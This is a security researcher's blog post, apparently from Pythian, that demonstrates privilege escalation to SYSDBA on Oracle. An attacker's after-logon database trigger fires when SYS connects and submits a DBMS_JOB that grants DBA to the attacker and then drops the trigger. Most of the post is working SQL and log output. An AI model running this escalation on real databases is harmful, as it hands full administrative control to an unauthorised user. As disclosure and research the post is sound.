Pythian Blog: Technical Track

Exploiting SYSDBA Invoker Rights Using Trigger on Database

This is a follow up on my previous post about SYSDBA keeping invoker rights when calling PL/SQL procedure. There was no direct privilege escalation but I mentioned that you need to craft your code so that it gets called by a SYSDBA user. This is what we are going to do now and here is the fun part starts.

Working on the previous test case a bit more I figured that the same anomaly is observed with triggers. So here is one way to get your PL/SQL code called by a SYSDBA. In this case you need to be able to create trigger on database, i. e. need privileges ADMINISTER DATABASE TRIGGER and CREATE TRIGGER.

Here is the test case:

SQL> connect / as sysdba
Connected.
SQL> create user u1 identified by u1;

User created.

SQL> grant create session to u1;

Grant succeeded.

SQL> grant create trigger to u1;

Grant succeeded.

SQL> grant administer database trigger to u1;

Grant succeeded.

SQL> grant execute on dbms_system to u1;

Grant succeeded.

SQL> create or replace view my$ENABLEDPRIVS as select * from V$ENABLEDPRIVS;

View created.

SQL> grant select on my$ENABLEDPRIVS to u1;

Grant succeeded.

SQL>
SQL> connect u1/u1
Connected.
SQL>
SQL> create or replace trigger hack after logon on database
  2  declare
  3  priv_count number;
  4  begin
  5  select count(*) into priv_count from sys.my$ENABLEDPRIVS;
  6  sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count);
  7  end;
  8  /

Trigger created.

SQL> connect u1/u1
Connected.
SQL> connect system
Enter password:
Connected.
SQL> connect / as sysdba
Connected.

Here is our alert.log:

User - U1; enabled privileges count - 3
Tue Jan 16 23:41:00 2007
User - SYSTEM; enabled privileges count - 3
Tue Jan 16 23:41:08 2007
User - SYS; enabled privileges count - 275

Now I wanted to create simple trigger:

SQL> create or replace trigger hack after logon on database
  2  declare
  3  priv_count number;
  4  begin
  5  select count(*) into priv_count from sys.my$ENABLEDPRIVS;
  6  sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count);
  7  if user='SYS' then
  8    sys.dbms_system.ksdwrt(2,'Let''s give SYSDBA to U1 user...');
  9    execute immediate 'GRANT SYSDBA TO U1';
 10  end if;
 11  end;
 12  /

This does work – can’t do grant in triggers as well as many other DDLs. This is good limitation from security point of view:

Tue Jan 16 23:52:02 2007
Errors in file /opt/oracle/admin/emrep/udump/emrep_ora_3966.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-30511: invalid DDL operation in system triggers
ORA-06512: at line 8

Nevertheless, this is already something – working with trigger I can at least do any DMLs so data access is compromised.

Let’s get smarter. For this case we will need CREATE PROCEDURE privilege and access to DBMS_JOB package. This will make test case easier to understand and follow. In the real world no procedure is needed and it can be implemented with simple execute immediate call but it would be a bit messy and difficult to follow here.

SQL> create or replace procedure give_sysdba as
  2  begin
  3    sys.dbms_system.ksdwrt(2,'Let''s give SYSDBA to U1 user...');
  4    execute immediate 'GRANT DBA TO U1';
  5    sys.dbms_system.ksdwrt(2,'Drop trigger to remove cyclic calls...');
  6    execute immediate 'DROP TRIGGER U1.HACK';
  7  exception
  8    when others then
  9      null;
 10  end;
 11  /

Procedure created.

SQL> create or replace trigger hack after logon on database
  2  declare
  3    priv_count number;
  4    job_no number;
  5  begin
  6    select count(*) into priv_count from sys.my$ENABLEDPRIVS;
  7    sys.dbms_system.ksdwrt(2,'User - '||user||'; enabled privileges count - '||priv_count);
  8    if user='SYS' then
  9      sys.dbms_system.ksdwrt(2,'Submitting job to become SYSDBA...');
 10      dbms_job.submit(job_no,'give_sysdba;');
 11      sys.dbms_system.ksdwrt(2,'Job '||job_no||' submited');
 12    end if;
 13  end;
 14  /

Trigger created.

SQL> connect / as sysdba
Connected.

Let’s check alert.log:

Wed Jan 17 00:14:28 2007
User - SYS; enabled privileges count - 275
Submitting job to become SYSDBA...
Job 85 submited
Wed Jan 17 00:14:29 2007
User - SYS; enabled privileges count - 275
Submitting job to become SYSDBA...
Job 86 submited
Let's give SYSDBA to U1 user...
Wed Jan 17 00:14:29 2007
Drop trigger to remove cyclic calls...
Wed Jan 17 00:14:34 2007
Let's give SYSDBA to U1 user...
Drop trigger to remove cyclic calls...

The job ran twice due to trigger fire on the first job schedule so the grant is done twice.

Not we’ve got sysdba privilege with u1 user:

SQL> connect u1/u1 as sysdba
Connected.

This technique requires ADMINISTER DATABASE TRIGGER and should work on any current Oracle release.

No Comments Yet

Let us know what you think

Subscribe by email